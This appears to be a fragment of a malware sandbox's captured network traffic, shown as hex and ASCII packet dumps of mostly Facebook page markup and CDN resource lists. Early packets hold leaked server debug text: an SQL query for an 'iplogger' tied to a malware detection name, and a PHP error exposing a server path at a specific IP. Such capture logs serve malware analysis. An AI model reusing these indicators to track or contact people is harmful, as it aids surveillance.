2022-09-09 16:00:31 UTC	156	IN	Data Raw: 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 Data Ascii: )\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00
2022-09-09 16:00:31 UTC	157	IN	Data Raw: 25 32 35 32 30 50 44 4f 25 32 35 32 30 69 6e 73 74 65 61 64 25 32 35 32 30 69 6e 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 25 32 46 77 77 77 25 32 46 77 77 77 72 6f 6f 74 25 32 46 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 25 32 46 73 65 65 6d 6f 72 65 62 74 79 25 32 46 69 6e 63 6c 75 64 65 73 25 32 46 64 61 74 61 62 61 73 65 2e 70 68 70 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 32 30 6f 6e 25 32 35 32 30 6c 69 6e 65 25 32 35 32 30 25 32 35 33 43 62 25 32 35 33 45 34 37 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 72 25 32 35 32 30 25 32 46 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 62 25 32 35 33 45 57 61 72 6e 69 6e 67 25 32 35 33 43 Data Ascii: %2520PDO%2520instead%2520in%2520%253Cb%253E%2Fwww%2Fwwwroot%2F103.136.42.153%2Fseemorebty%2Fincludes%2Fdatabase.php%253C%2Fb%253E%2520on%2520line%2520%253Cb%253E47%253C%2Fb%253E%250A%253Cbr%2520%2F%253E%250A%253Cbr%2520%2F%253E%250A%253Cb%253EWarning%253C
2022-09-09 16:00:31 UTC	158	IN	Data Raw: 62 72 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 46 62 25 32 35 33 45 25 32 35 30 41 25 32 35 33 43 25 32 46 66 6f 6e 74 25 32 35 33 45 26 61 6d 70 3b 73 6f 75 72 63 65 3d 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 5f 6d 6f 72 65 22 20 68 72 65 66 3d 22 23 22 20 74 69 74 6c 65 3d 22 53 68 6f 77 20 6d 6f 72 65 20 6c 61 6e 67 75 61 67 65 73 22 3e 3c 69 20 63 6c 61 73 73 3d 22 69 6d 67 20 73 70 5f 41 77 67 71 7a 37 4b 34 6c 48 71 20 73 78 5f 36 30 62 36 35 30 22 3e 3c 2f 69 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 43 75 72 76 65 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 70 61 67 65 46 6f 6f 74 65 72 43 68 69 6c 64 72 65 6e 22 20 72 6f 6c 65 3d 22 63 6f 6e 74 65 6e 74 69 6e 66 6f 22 Data Ascii: br%253E%250A%253C%2Fb%253E%250A%253C%2Ffont%253E&source=www_list_selector_more" href="#" title="Show more languages"><i class="img sp_Awgqz7K4lHq sx_60b650"></i></a></li></ul><div id="contentCurve"></div><div id="pageFooterChildren" role="contentinfo"
2022-09-09 16:00:31 UTC	160	IN	Data Raw: 4c 57 45 68 75 52 56 31 77 74 35 62 76 2d 50 6d 44 71 6b 6a 42 59 58 52 52 35 65 72 53 7a 50 44 50 55 6a 59 54 6d 63 53 36 43 6f 65 41 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 49 6e 73 74 61 67 72 61 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 66 6f 6c 6c 6f 77 22 20 64 61 74 61 2d 6c 79 6e 78 2d 6d 6f 64 65 3d 22 68 6f 76 65 72 22 3e 49 6e 73 74 61 67 72 61 6d 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 75 6c 6c 65 74 69 6e 2e 63 6f 6d 2f 22 20 74 69 74 6c 65 3d 22 43 68 65 63 6b 20 6f 75 74 20 42 75 6c 6c 65 74 69 6e 20 4e 65 77 73 6c 65 74 74 65 72 22 3e 42 75 6c 6c 65 74 69 6e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 Data Ascii: LWEhuRV1wt5bv-PmDqkjBYXRR5erSzPDPUjYTmcS6CoeA" title="Check out Instagram" target="_blank" rel="nofollow" data-lynx-mode="hover">Instagram</a></li><li><a href="https://www.bulletin.com/" title="Check out Bulletin Newsletter">Bulletin</a></li><li><a href="
2022-09-09 16:00:31 UTC	161	IN	Data Raw: 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 2f 70 6f 6c 69 63 69 65 73 2f 63 6f 6f 6b 69 65 73 2f 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 46 61 63 65 62 6f 6f 6b 2e 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 34 31 75 67 22 20 64 61 74 61 2d 6e 6f 63 6f 6f 6b 69 65 73 3d 22 31 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 68 65 6c 70 2f 35 36 38 31 33 37 34 39 33 33 30 32 32 31 37 22 20 74 69 74 6c 65 3d 22 4c 65 61 72 6e 20 61 62 6f 75 74 20 41 64 20 43 68 6f 69 63 65 73 2e 22 3e 41 64 20 63 68 6f 69 63 65 73 3c 69 20 Data Ascii: a></li><li><a href="/policies/cookies/" title="Learn about cookies and Facebook." data-nocookies="1">Cookies</a></li><li><a class="_41ug" data-nocookies="1" href="https://www.facebook.com/help/568137493302217" title="Learn about Ad Choices.">Ad choices<i
2022-09-09 16:00:31 UTC	163	IN	Data Raw: 22 33 32 31 32 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 37 74 67 64 6f 62 69 45 6f 43 35 71 4f 41 34 4a 55 22 7d 2c 22 31 39 30 38 31 33 35 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 6d 69 47 79 70 4a 6c 33 6d 32 41 71 34 6d 4e 51 22 7d 2c 22 35 32 34 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 53 4c 4e 52 65 67 31 69 6a 68 33 62 5a 37 49 45 22 7d 2c 22 32 35 32 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 74 72 75 65 2c 22 68 61 73 68 22 3a 22 41 54 34 47 4a 37 73 7a 6f 42 42 74 47 44 58 78 45 74 51 22 7d 2c 22 38 31 39 32 33 36 22 3a 7b 22 72 65 73 75 6c 74 22 3a 66 61 6c 73 65 2c 22 68 61 73 68 22 3a 22 41 54 36 36 76 57 38 36 64 Data Ascii: "3212":{"result":false,"hash":"AT7tgdobiEoC5qOA4JU"},"1908135":{"result":false,"hash":"AT6miGypJl3m2Aq4mNQ"},"524":{"result":false,"hash":"AT6SLNReg1ijh3bZ7IE"},"2526":{"result":true,"hash":"AT4GJ7szoBBtGDXxEtQ"},"819236":{"result":false,"hash":"AT66vW86d
2022-09-09 16:00:31 UTC	164	IN	Data Raw: 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 34 37 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 34 38 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 2c 22 36 35 31 22 3a 7b 22 72 22 3a 6e 75 6c 6c 7d 7d 7d 29 7d 29 3b 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 42 6f 6f 74 6c 6f 61 64 65 72 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 6d 29 7b 6d 2e 68 61 6e 64 6c 65 50 61 79 6c 6f 61 64 28 7b 22 63 6f 6e 73 69 73 74 65 6e 63 79 22 3a 7b 22 72 65 76 22 3a 31 30 30 36 31 37 33 32 30 35 7d 2c 22 72 73 72 63 4d 61 70 22 3a 7b 22 6e 65 44 6d 63 33 61 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 57 32 34 5c 2f 79 79 5c 2f 6c 5c 2f 65 Data Ascii: {"r":null},"647":{"r":null},"648":{"r":null},"651":{"r":null}}})});requireLazy(["Bootloader"],function(m){m.handlePayload({"consistency":{"rev":1006173205},"rsrcMap":{"neDmc3a":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3ijW24\/yy\/l\/e
2022-09-09 16:00:31 UTC	166	IN	Data Raw: 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 76 5c 2f 72 5c 2f 47 47 31 59 30 73 59 63 37 4d 79 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 45 46 31 68 57 6c 35 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 65 5c 2f 72 5c 2f 5f 53 36 62 5a 63 32 4e 72 71 7a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 47 39 6f 69 72 76 57 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 Data Ascii: net\/rsrc.php\/v3\/yv\/r\/GG1Y0sYc7My.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"EF1hWl5":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/ye\/r\/_S6bZc2Nrqz.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"G9oirvW":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rs
2022-09-09 16:00:31 UTC	167	IN	Data Raw: 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 67 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 68 49 4f 58 68 45 30 67 38 4b 64 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 63 68 62 39 6d 42 44 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 32 5c 2f 72 5c 2f 33 47 71 6c 2d 74 54 45 57 4d 42 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6e 45 47 73 73 58 42 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c Data Ascii: static.xx.fbcdn.net\/rsrc.php\/v3\/yg\/l\/0,cross\/hIOXhE0g8Kd.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"chb9mBD":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y2\/r\/3Gql-tTEWMB.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"nEGssXB":{"type":"js","src":"https:\
2022-09-09 16:00:31 UTC	169	IN	Data Raw: 31 34 54 38 61 35 65 4c 67 65 63 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 7a 68 31 38 45 63 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 39 5c 2f 72 5c 2f 44 4a 50 6d 39 56 62 42 4e 4c 4c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 57 61 6c 52 49 4f 59 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 5a 5c 2f 72 5c 2f 50 41 70 38 62 42 73 Data Ascii: 14T8a5eLgec.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"zh18EcU":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y9\/r\/DJPm9VbBNLL.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"WalRIOY":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yZ\/r\/PAp8bBs
2022-09-09 16:00:31 UTC	170	IN	Data Raw: 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 68 4d 36 34 5c 2f 79 58 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 37 43 57 51 48 5a 65 39 64 7a 35 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 44 54 63 34 45 74 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 35 5c 2f 72 5c 2f 64 50 4c 49 6e 48 71 47 55 34 6d 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 55 45 66 44 0d 0a 31 64 62 37 0d 0a 66 5c 2f 38 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 Data Ascii: \/\/static.xx.fbcdn.net\/rsrc.php\/v3ihM64\/yX\/l\/en_US\/7CWQHZe9dz5.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0DTc4Et":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y5\/r\/dPLInHqGU4m.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"UEfD1db7f\/8":{"type":"js"
2022-09-09 16:00:31 UTC	172	IN	Data Raw: 55 53 5c 2f 6c 7a 68 59 47 7a 72 37 4e 76 56 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 65 6f 56 58 2b 57 55 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 31 4d 4a 34 5c 2f 79 67 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 51 73 62 55 35 36 2d 78 46 44 32 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 59 44 2b 6d 75 6c 30 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 Data Ascii: US\/lzhYGzr7NvV.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"eoVX+WU":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i1MJ4\/yg\/l\/en_US\/QsbU56-xFD2.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"YD+mul0":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3
2022-09-09 16:00:31 UTC	173	IN	Data Raw: 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6a 55 62 34 5c 2f 79 65 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 70 69 70 34 48 53 62 78 79 65 6f 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 2b 71 52 48 53 56 58 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 41 5c 2f 72 5c 2f 2d 69 34 30 6f 53 54 79 2d 68 54 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 5a 75 62 64 55 54 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f Data Ascii: tic.xx.fbcdn.net\/rsrc.php\/v3ijUb4\/ye\/l\/en_US\/pip4HSbxyeo.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"+qRHSVX":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yA\/r\/-i40oSTy-hT.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0ZubdUT":{"type":"js","src":"https:\/
2022-09-09 16:00:31 UTC	175	IN	Data Raw: 30 2c 63 72 6f 73 73 5c 2f 76 6c 6f 33 42 50 78 50 71 63 4b 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f 31 72 78 57 31 6c 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 74 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 47 44 58 70 69 37 34 2d 59 5f 58 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 76 34 73 31 2b 33 63 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 Data Ascii: 0,cross\/vlo3BPxPqcK.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"o1rxW1l":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yt\/l\/0,cross\/GDXpi74-Y_X.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"v4s1+3c":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.p
2022-09-09 16:00:31 UTC	176	IN	Data Raw: 2f 6a 6d 70 4b 4d 39 77 6f 6b 78 69 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 54 56 34 52 55 70 6a 22 3a 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 69 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 32 43 64 62 64 5f 57 32 51 6f 36 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 78 59 43 53 46 64 4f 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 58 74 Data Ascii: /jmpKM9wokxi.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"TV4RUpj":{"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yi\/l\/0,cross\/2Cdbd_W2Qo6.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"xYCSFdO":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iXt
2022-09-09 16:00:31 UTC	177	IN	Data Raw: 7b 22 74 79 70 65 22 3a 22 63 73 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 75 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 4b 43 35 68 38 4f 31 6d 47 5f 65 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 4a 75 34 36 51 43 43 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 53 5c 2f 72 5c 2f 58 70 6a 35 6b 46 6f 6c 39 4b 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 48 70 75 46 Data Ascii: {"type":"css","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yu\/l\/0,cross\/KC5h8O1mG_e.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"Ju46QCC":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yS\/r\/Xpj5kFol9KW.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"PHpuF
2022-09-09 16:00:31 UTC	179	IN	Data Raw: 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 42 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 68 33 45 43 41 51 5a 36 73 72 61 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 31 74 63 39 62 44 73 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 34 43 73 34 5c 2f 79 73 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 34 6b 58 65 44 58 38 66 5f 68 4e 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6d 5c 2f 6b 79 42 5a 4c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 Data Ascii: .xx.fbcdn.net\/rsrc.php\/v3\/yB\/l\/0,cross\/h3ECAQZ6sra.css?_nc_x=Ij3Wp8lg5Kz","nc":1},"1tc9bDs":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3i4Cs4\/ys\/l\/en_US\/4kXeDX8f_hN.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"m\/kyBZL":{"type":"js","src":"
2022-09-09 16:00:31 UTC	180	IN	Data Raw: 5c 2f 79 4e 5c 2f 6c 5c 2f 30 2c 63 72 6f 73 73 5c 2f 61 78 67 53 6e 61 75 35 6e 44 62 2e 63 73 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 6f 6e 62 6c 6f 63 6b 69 6e 67 22 3a 31 2c 22 6e 63 22 3a 31 7d 2c 22 5a 6f 79 4f 70 6c 50 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 42 39 42 34 5c 2f 79 43 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 68 59 66 49 4a 6d 5f 70 76 53 51 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 30 64 6e 62 32 42 7a 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 Data Ascii: \/yN\/l\/0,cross\/axgSnau5nDb.css?_nc_x=Ij3Wp8lg5Kz","nonblocking":1,"nc":1},"ZoyOplP":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iB9B4\/yC\/l\/en_US\/hYfIJm_pvSQ.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"0dnb2Bz":{"type":"js","src":"https:\/\/st
